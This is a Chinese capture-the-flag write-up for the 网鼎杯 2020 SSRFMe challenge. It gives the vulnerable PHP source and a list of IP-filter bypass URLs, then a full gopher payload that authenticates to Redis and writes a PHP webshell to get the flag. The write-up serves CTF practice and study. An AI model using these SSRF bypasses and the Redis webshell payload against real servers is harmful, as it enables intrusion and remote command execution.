[网鼎杯 2020 玄武组]SSRFMe

0 阅读1分钟

发现给了php代码1771380417798.png

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

绕过IP限制

看到注释:访问本地的hint.php,浏览一下,空白页面,不管,先分析代码

代码先写了两个功能safe_request_url($url))和safe_request_url($url),get方法获取url参数的值,如果url不为空,执行safe_request_url($url)safe_request_url($url)先调用check_inner_ip($url),返回false后才启动curl

check_inner_ip($url)使用协议白名单,必须以http:// https:// gopher:// dict://开头,不能使用127.0.0.0、10.0.0.0、172.16.0.0、192.168.0.0网段的IP作为内网地址

IP绕过总结:

#回环地址
http://0.0.0.0/hint.php

#错误解析
http:///127.0.0.1/hint.php

#IPv4映射IPv6
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php
http://[::ffff:7f00:1]/hint.php
http://[::ffff:127.0.0.1]/hint.php

#16进制
http://0x7f000001/hint.php

#gopher协议,前面对于http协议的绕过方式都可以用于此协议,但下面这个用于http就失效了
gopher%3a%2f%2f0177.0.0x0001%3a80%2f_GET+%2fhint.php

借鉴:[网鼎杯 2020 玄武组]SSRFMe - LionTree[网鼎杯 2020 玄武组]SSRFMe - kar3a - 博客园

输入/?url=http://0.0.0.0/hint.php成功访问hint.php1771382094143.png

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

看到"redispass is root"猜测redis服务密码是root

gopherus

使用工具gopherus,安装的话看README.MD,忽略"pip不存在"的错误即可1771420117688.png

复制生成的payload,同时做一些修改

修改payload

原payload:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

解码后:

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$34


<?php system($_GET['cmd']); ?>


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

这个需要密码,所以我们要执行auth root,我们应在flushall命令前加上auth root,即:

gopher://127.0.0.1:6379/_*2 #代表auth、root这两元素
$4 #表示元素的长度
auth
$4
root
*1
$8
flushall
*3
$3
set
$1
1
$34


<?php system($_GET['cmd']); ?>


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

将其url编码后,加上得到完整的payload

gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0Aauth%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

编码过程:

*2\r\n => %2A 2 %0D%0A => %2A2%0D%0A
$4\r\n => %24 4 %0D%0A => %244%0D%0A
auth\r\n => auth %0D%0A => auth%0D%0A
$4\r\n => %24 4 %0D%0A => %244%0D%0A
root\r\n => root %0D%0A => root%0D%0A
结果:%2A2%0D%0A%244%0D%0Aauth%0D%0A%244%0D%0Aroot%0D%0A

将127.0.0.1替换为0.0.0.0后得到

gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0Aauth%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

去在线网站编码1771424073633.png

最终payload:

gopher%3a%2f%2f0.0.0.0%3a6379%2f_%252A2%250D%250A%25244%250D%250Aauth%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

夺取flag

尝试payload,发现超时,试试访问shell.php1771424214200.png

?cmd=cat+/flag1771424323348.png

成功拿到flag:flag{994596c6-dfe1-4d38-bf8f-95827d5cef24}